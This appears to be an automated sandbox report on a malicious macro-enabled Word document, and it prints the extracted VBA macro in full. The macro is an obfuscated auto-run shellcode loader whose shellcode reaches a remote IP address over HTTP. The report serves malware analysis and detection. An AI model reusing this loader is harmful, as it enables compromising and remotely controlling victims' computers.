MALICIOUS
226
Risk Score
Heuristics 7
-
ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADERVBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.Matched line in script
Private Declare PtrSafe Function ozizgykegsaim Lib "kernel32" Alias "VirtualAlloc" (ByVal aryuysfdtuxwezgqm As Long, ByVal lkmmoznq As Long, ByVal dhrorxwzh As Long, ByVal rjlmpcfyyqee As Long) As LongPtr -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Sub Workbook_Open() -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/2019/extlstIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2023/wordml/word16duIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2024/wordml/sdtformatlockIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 7087 bytes |
SHA-256: f0d51c574a01740ce54e15b729642879c48edf9af62dce17c792e24975eca702 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const lsguwwxfhqtxgrhbie = 2
Const dabdijymrwotvvbbk = 1
Const qvrcjiliajpkmrlrfrf = 0
#If VBA7 Then
Private Declare PtrSafe Function kgtywsw Lib "kernel32" Alias "CreateThread" (ByVal koksuyhgknfnxevtfps As Long, ByVal airfvfutpnibnn As Long, ByVal iyqcnykkopuwrkexbr As LongPtr, mfnhpjmqkhnvchftxrw As Long, ByVal eqyxkggebzxxg As Long, nhcghezt As Long) As LongPtr
Private Declare PtrSafe Function ozizgykegsaim Lib "kernel32" Alias "VirtualAlloc" (ByVal aryuysfdtuxwezgqm As Long, ByVal lkmmoznq As Long, ByVal dhrorxwzh As Long, ByVal rjlmpcfyyqee As Long) As LongPtr
Private Declare PtrSafe Function repqhmpfu Lib "kernel32" Alias "RtlMoveMemory" (ByVal afokddjhufxs As LongPtr, ByRef tiewsmtcltmcmdmthb As Any, ByVal qhcvnpplcjuuvmzswi As Long) As LongPtr
#Else
Private Declare Function kgtywsw Lib "kernel32" Alias "CreateThread" (ByVal koksuyhgknfnxevtfps As Long, ByVal airfvfutpnibnn As Long, ByVal iyqcnykkopuwrkexbr As Long, mfnhpjmqkhnvchftxrw As Long, ByVal eqyxkggebzxxg As Long, nhcghezt As Long) As Long
Private Declare Function ozizgykegsaim Lib "kernel32" Alias "VirtualAlloc" (ByVal aryuysfdtuxwezgqm As Long, ByVal lkmmoznq As Long, ByVal dhrorxwzh As Long, ByVal rjlmpcfyyqee As Long) As Long
Private Declare Function repqhmpfu Lib "kernel32" Alias "RtlMoveMemory" (ByVal afokddjhufxs As Long, ByRef tiewsmtcltmcmdmthb As Any, ByVal qhcvnpplcjuuvmzswi As Long) As Long
#End If
Sub Auto_Open()
Dim qavbowiuutwqhzhwap As Long, eqjdftfjkmxoomf As Variant, fqbfgglcpeyrlkhxa As Long
#If VBA7 Then
Dim nuzdxbpdnrts As LongPtr, jrgkwyrgfbxnqoni As LongPtr
#Else
Dim nuzdxbpdnrts As Long, jrgkwyrgfbxnqoni As Long
#End If
eqjdftfjkmxoomf = Array(252, 72, 131, 228, 240, 232, 204, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 65, 81, 65, 80, 82, 72, 49, 210, 81, 101, 72, 139, 82, 96, 86, 72, 139, 82, 24, 72, 139, 82, 32, 77, 49, 201, 72, 15, 183, 74, 74, 72, 139, 114, 80, 72, 49, 192, 172, 60, 97, 124, lsguwwxfhqtxgrhbie, 44, 32, 65, 193, 201, 13, 65, dabdijymrwotvvbbk, 193, 226, 237, 82, 72, 139, 82, 32, 139, 66, 60, 65, 81, 72, dabdijymrwotvvbbk, 208, 102, 129, 120, 24, _
11, lsguwwxfhqtxgrhbie, 15, 133, 114, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 139, 128, 136, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 72, 133, 192, 116, 103, 72, dabdijymrwotvvbbk, 208, 80, 68, 139, 64, 32, 73, dabdijymrwotvvbbk, 208, 139, 72, 24, 227, 86, 77, 49, 201, 72, 255, 201, 65, 139, 52, 136, 72, dabdijymrwotvvbbk, 214, 72, 49, 192, 65, 193, 201, 13, 172, 65, dabdijymrwotvvbbk, 193, 56, 224, 117, 241, 76, 3, 76, 36, 8, 69, 57, 209, 117, 216, 88, 68, 139, 64, 36, 73, dabdijymrwotvvbbk, _
208, 102, 65, 139, 12, 72, 68, 139, 64, 28, 73, dabdijymrwotvvbbk, 208, 65, 139, 4, 136, 65, 88, 65, 88, 72, dabdijymrwotvvbbk, 208, 94, 89, 90, 65, 88, 65, 89, 65, 90, 72, 131, 236, 32, 65, 82, 255, 224, 88, 65, 89, 90, 72, 139, 18, 233, 75, 255, 255, 255, 93, 72, 49, 219, 83, 73, 190, 119, 105, 110, 105, 110, 101, 116, qvrcjiliajpkmrlrfrf, 65, 86, 72, 137, 225, 73, 199, 194, 76, 119, 38, 7, _
255, 213, 83, 83, 232, 81, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 49, 48, 46, 48, 59, 32, 87, 105, 110, 54, 52, 59, 32, 120, 54, 52, 59, 32, 114, 118, 58, 49, 51, 51, 46, 48, 41, 32, 71, 101, 99, 107, 111, 47, 50, 48, 49, 48, 48, 49, 48, 49, 32, 70, 105, 114, 101, _
102, 111, 120, 47, 49, 51, 51, 46, 48, qvrcjiliajpkmrlrfrf, 89, 83, 90, 77, 49, 192, 77, 49, 201, 83, 83, 73, 186, 58, 86, 121, 167, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 0, 255, 213, 232, 14, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 53, 49, 46, 49, 55, 56, 46, 49, 55, 52, 46, 54, 54, qvrcjiliajpkmrlrfrf, 90, 72, 137, 193, 73, 199, 192, 187, dabdijymrwotvvbbk, qvrcjiliajpkmrlrfrf, 0, 77, 49, 201, 83, 83, 106, 3, 83, 73, 186, 87, 137, 159, 198, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, _
0, 255, 213, 232, 129, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 47, 109, 111, 107, 56, 90, 76, 72, 78, 56, 111, 106, 108, 57, 117, 84, 48, 106, 66, 82, 49, 88, 81, 79, 82, 118, 52, 121, 89, 114, 75, 110, 108, 113, 118, 73, 106, 56, 74, 53, 89, 117, 76, 89, 54, 65, 111, 95, 88, 49, 53, 99, 84, 85, 67, 108, 103, 97, 100, 50, 83, 66, 67, 115, 70, 100, 103, 106, 104, 68, 66, 81, _
102, 75, 120, 53, 48, 119, 98, 75, 109, 55, 76, 113, 69, 56, 117, 56, 122, 68, 85, 115, 97, 114, 104, 74, 79, 51, 73, 72, 100, 66, 88, 89, 101, 98, 103, 54, 83, 107, 73, 118, 122, 100, 114, 79, 122, 99, 52, 52, 113, 97, 122, 105, 87, 116, 67, 71, qvrcjiliajpkmrlrfrf, 72, 137, 193, 83, 90, 65, 88, 77, 49, 201, 83, 72, 184, qvrcjiliajpkmrlrfrf, 50, 168, 132, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 0, 80, 83, _
83, 73, 199, 194, 235, 85, 46, 59, 255, 213, 72, 137, 198, 106, 10, 95, 72, 137, 241, 106, 31, 90, 82, 104, 128, 51, qvrcjiliajpkmrlrfrf, 0, 73, 137, 224, 106, 4, 65, 89, 73, 186, 117, 70, 158, 134, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 0, 255, 213, 77, 49, 192, 83, 90, 72, 137, 241, 77, 49, 201, 77, 49, 201, 83, 83, 73, 199, 194, 45, 6, 24, 123, 255, 213, 133, 192, 117, 31, 72, 199, 193, 136, _
19, qvrcjiliajpkmrlrfrf, 0, 73, 186, 68, 240, 53, 224, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 0, 255, 213, 72, 255, 207, 116, lsguwwxfhqtxgrhbie, 235, 170, 232, 85, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 83, 89, 106, 64, 90, 73, 137, 209, 193, 226, 16, 73, 199, 192, qvrcjiliajpkmrlrfrf, 16, qvrcjiliajpkmrlrfrf, 0, 73, 186, 88, 164, 83, 229, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 0, 255, 213, 72, 147, 83, 83, 72, 137, 231, 72, 137, 241, 72, 137, 218, 73, 199, 192, qvrcjiliajpkmrlrfrf, 32, qvrcjiliajpkmrlrfrf, 0, 73, 137, 249, _
73, 186, 18, 150, 137, 226, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf, 0, 255, 213, 72, 131, 196, 32, 133, 192, 116, 178, 102, 139, 7, 72, dabdijymrwotvvbbk, 195, 133, 192, 117, 210, 88, 195, 88, 106, qvrcjiliajpkmrlrfrf, 89, 73, 199, 194, 240, 181, 162, 86, 255, 213)
nuzdxbpdnrts = ozizgykegsaim(qvrcjiliajpkmrlrfrf, UBound(eqjdftfjkmxoomf), &H1000, &H40)
For fqbfgglcpeyrlkhxa = LBound(eqjdftfjkmxoomf) To UBound(eqjdftfjkmxoomf)
qavbowiuutwqhzhwap = eqjdftfjkmxoomf(fqbfgglcpeyrlkhxa)
jrgkwyrgfbxnqoni = repqhmpfu(nuzdxbpdnrts + fqbfgglcpeyrlkhxa, qavbowiuutwqhzhwap, dabdijymrwotvvbbk)
Next fqbfgglcpeyrlkhxa
jrgkwyrgfbxnqoni = kgtywsw(qvrcjiliajpkmrlrfrf, qvrcjiliajpkmrlrfrf, nuzdxbpdnrts, qvrcjiliajpkmrlrfrf, 0, qvrcjiliajpkmrlrfrf)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Attribute VB_Name = "eiozafrmi"
Function ajnxtecyklveaco(ByVal tpwrjquhq As String) As String
Dim pklecrtjil As Long
For pklecrtjil = 1 To Len(tpwrjquhq) Step 2
ajnxtecyklveaco = ajnxtecyklveaco & Chr$(Val("&H" & Mid$(tpwrjquhq, pklecrtjil, 2)))
Next pklecrtjil
End Function
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 18944 bytes |
SHA-256: de02ac98bbd272c7174e2b12b611455c800de5968a163a58f3a3b6237259b4bc |
|||
|
Detection
ClamAV:
Doc.Downloader.Generic-6698421-0
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.